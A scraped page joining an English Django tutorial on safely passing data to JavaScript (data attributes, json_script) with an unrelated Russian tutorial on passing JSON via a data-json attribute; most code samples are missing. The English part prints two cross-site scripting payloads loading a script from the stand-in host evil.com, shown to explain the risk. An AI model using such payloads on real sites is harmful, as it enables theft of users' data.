- How to Safely Pass Data to JavaScript in a Django Template
- Templating JavaScript don’t work
- Use data attributes for simple values
- Separate script files
- Case conversion
- Non-string types
- There’s no limit
- Use json_script for complex values
- Django json_script is only supported on Django 4.1+. Before then, you need to give it an ID for the data <script> , but you can pass «» , which browsers understand as “no ID”:
- With an ID
- Other unrecommended techniques
- Unsafe use of the safe filter
- What about escapejs ?
- Fin
- Быстрый и грязный Django — Передача данных в JavaScript без AJAX
- Обычный подход
- Добавим остроты
- Дисклеймер
How to Safely Pass Data to JavaScript in a Django Template
You want to pass your data from your Django view to JavaScript, in your template. And, you want to do it securely, with no risk of accidentally allowing malicious code injection. Great, this is the post for you!
And finally, some other options that I don’t recommend.
Update (2022-10-21) The BugBytes Youtube channel has a video based on this post, demonstrating the two approved techniques.
Templating JavaScript don’t work
Many developers try templating inline <script> tags directly:
>"I recommend you never do this!
This doesn’t generally work, since Django performs HTML-escaping on the value. For example, if username was «Adam <3» , the output would be:
This would mean displaying the username incorrectly.
Additionally, it’s super dangerous if you template non-string variables, or use JavaScript template literals (JavaScript’s f-strings that use backticks). For example, take this template:
>`A malicious value can use a backtick to end the literal, and then add arbitrary JavaScript. For example, if username was:
a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`
This code defines greeting , then inserts a <script> into the DOM sourced from evil.com . That script could steal all user data. Panik.
Django’s template system only escapes HTML. It is not designed for escaping values inside of JavaScript, which has broader syntax.
Whilst templating JavaScript works in limited situations, since it’s not generally safe, I recommend you never do it. It’s too hard to maintain a separation betwee variables that always contain safe characters, and those which don’t. Also, only certain tags and filters are safe. In time, you’ll eventually introduce security holes.
Instead, use one of the two following techniques.
Use data attributes for simple values
To pass simple values to your JavaScript, it’s convenient to use data attributes:
>" document.currentScript provides quick access to the current <script> element. Its dataset property contains the passed attributes as strings.
Separate script files
You can use document.currentScript for separate script files too:
I recommend that you use separate script files as much as possible. They’re better for performance as the browser can cache the code. Plus, you can set up a Content Security Policy (CSP) to disallow inline script tags, which prevents XSS attacks—see my security headers post.)
Case conversion
The dataset property converts kebab-case to camelCase. For example, if you had data-full-name :
" >"…you’d read it in JavaScript as fullName :
HTML kebabs become JavaScript camels.
Non-string types
dataset only contains strings, because all HTML attribute values are strings. If you are passing a number, date, or other simple type to your JavaScript, you’ll need to parse it. For example, imagine you were passing an integer:
" >"…you’d want parseInt() to convert this value from a string:
There’s no limit
A <script> can have as many data attributes as you like:
" " " " " " …but at some point this might feel quite unwieldy. Also, it’s not convenient to pass complex types like dicts or lists in attributes. That leads us to door number two!
Use json_script for complex values
If you need to pass a dict or list to JavaScript, use Django’s json_script filter. For example, imagine your view passed this variable in the context:
You could pass this variable to the json_script filter like so:
Django would render a <script type=»application/json»> tag containing the data:
as the next element after document.currentScript using nextElementSibling , and parse the data with JSON.parse() :
Django json_script is only supported on Django 4.1+. Before then, you need to give it an ID for the data <script> , but you can pass «» , which browsers understand as “no ID”:
.
With an ID
You can also pass an ID to json_script for the data <script> . This can be useful if your JavaScript <script> is not next to your data <script> , or if one JavaScript file should use several data <script> s. For example:
elements, and JSON.parse() again to parse the contained data:
This is the technique recommended in the json_script docs.
Other unrecommended techniques
Here are a couple of other options you have seen, that I do not recommend.
Unsafe use of the safe filter
You may have seen templated JavaScript that uses the safe filter:
>" safe marks a variable as “safe for direct inclusion in HTML”, that is, it disables Django’s HTML escaping. This would allow username = "Adam <3" to be appear unaltered in the templated script:
This opens the script up wide for attack though. Imagine the username was:
</script><script src=evil.com/js></script>
…then, the rendered HTML would be:
Again, evil.com/js could steal all user data. Panik!!
So, using safe like this is unsafe. It’s only safe to use it with already-escaped HTML, for example from a pre-rendered fragment.
What about escapejs ?
It is possible to template JavaScript with the escapejs filter:
>"This has some subtleties though, as the docs currently say:
(Reminder: template literals are JavaScript’s equivalent to f-strings.)
However, there’s an open PR to improve the docs. It seems that escapejs was made safe in the past with a documentation update.
Templating JavaScript is still not generally safe: you can’t use other tags or filters without risk.
Data attributes work with both inline scripts and separate script files. You don’t need to refactor anything if you move from an inline script to a separate file.
(And using separate script files is good for other reasons, as noted previously.)
At current, the docs still say escapejs is unsafe. There hasn’t yet been approval from the Django security team or fellows.
Fin
May your data always pass swiftly and safely to your JavaScript,
Learn how to make your tests run quickly in my book Speed Up Your Django Tests.
One summary email a week, no spam, I pinky promise.
Tags: django © 2022 All rights reserved. Code samples are public domain unless otherwise noted.
Быстрый и грязный Django — Передача данных в JavaScript без AJAX
Если мы хотим передать данные из Django в JavaScript, мы обычно говорим об API, сериализаторах, вызовах JSON и AJAX. Обычно дело усложняется наличием React или Angular на фронте.
Но иногда вам нужно сделать что-то быстро и грязное – построить диаграмму и не задумываться над инфраструктурой одностраничного приложения.
Обычный подход
Допустим, у нас есть приложение на Django со следующей моделью:
from django.db import models class SomeDataModel(models.Model): date = models.DateField(db_index=True) value = models.IntegerField()
from django.views.generic import TemplateView class SomeTemplateView(TemplateView): template_name = ‘some_template.html’
Теперь мы можем построить простую линейную диаграмму с помощью Chart.js, и мы не хотим использовать AJAX, создавать новые API и т.д.
Если мы хотим визуализировать простую линейную диаграмму в нашем some_template.html , код будет выглядеть следующим образом (взято из этих примеров):
Теперь, если мы захотим построить диаграмму данных, поступающих из SomeDataModel , мы подойдем к этой задаче следующим образом:
from django.views.generic import TemplateView from some_project.some_app.models import SomeDataModel class SomeTemplateView(TemplateView): template_name = 'some_template.html' def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context['data'] = [ < 'id': obj.id, 'value': obj.value, 'date': obj.date.isoformat() >for obj in SomeDataModel.objects.all() ] return context
А затем мы визуализируем массив JavaScript с помощью шаблона Django:
Именно так это и работает, но, как по мне, слишком грязно. У нас больше нет JavaScript, но есть JavaScript с шаблоном Django. Мы теряем возможность выделить JavaScript в отдельный файл .js. Также мы не можем красиво работать с этим JavaScript.
Но можем сделать лучше и быстрее.
Добавим остроты
- В нашем случае мы будем сериализовать данные через json.dumps и хранить их в контексте.
- Отрендерим скрытый элемент с уникальным id и атрибутом data-json , а именно с сериализованными данными JSON.
- Запросите этот из JavaScript, прочитайте атрибут data-json и используйте JSON.parse , чтобы получить необходимые данные.
Преимуществом становится то, что код на JavaScript не содержит шаблонов Django, но имеет переиспользуемый шаблон для получения необходимых данных.
Почти как упрощенный AJAX.
Ниже пример того, как я использую эту стратегию:
import json from django.views.generic import TemplateView class SomeTemplateView(TemplateView): template_name = 'some_template.html' def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context['data'] = json.dumps( [ < 'id': obj.id, 'value': obj.value, 'date': obj.date.isoformat() >for obj in SomeDataModel.objects.all() ] ) return context
Теперь извлечем наш код на JavaScript в статичный файл chart.js .
В результате получим some_template.html :
Как видите в скрытом div происходит магия. Мы скрываем div , чтобы удалить его из любой верстки. Здесь вы можете дать ему соответствующий id или использовать любой подходящий HTML-элемент.
Атрибут data-json (который необязателен и не является чем-то предопределенным) содержит нужный нам JSON.
Теперь, наконец, мы реализуем следующую простую функцию для получения и анализа необходимых нам данных:
function loadJson(selector)
function loadJson(selector) < return JSON.parse(document.querySelector(selector).getAttribute('data-json')); >window.onload = function () < var jsonData = loadJson('#jsonData'); var data = jsonData.map((item) =>item.value); var labels = jsonData.map((item) => item.date); console.log(data); console.log(labels); var config = < type: 'line', data: < labels: labels, datasets: [ < label: 'A random dataset', backgroundColor: 'black', borderColor: 'lightblue', data: data, fill: false >] >, options: < responsive: true >>; var ctx = document.getElementById('chart').getContext('2d'); window.myLine = new Chart(ctx, config); >;
Быстрый и грязный способ для тех, кто просто хочет что-то отправить. А вот и конечный результат:
Дисклеймер
Я не рекомендую вам пользоваться этим подходом для чего-то большего, чем грязное доказательство концепции. Как только ваш код на JavaScript начнет расти, станет сложно его контролировать. Рекомендуется пройти путь SPA с одним из популярных фреймворков (в нашем случае React).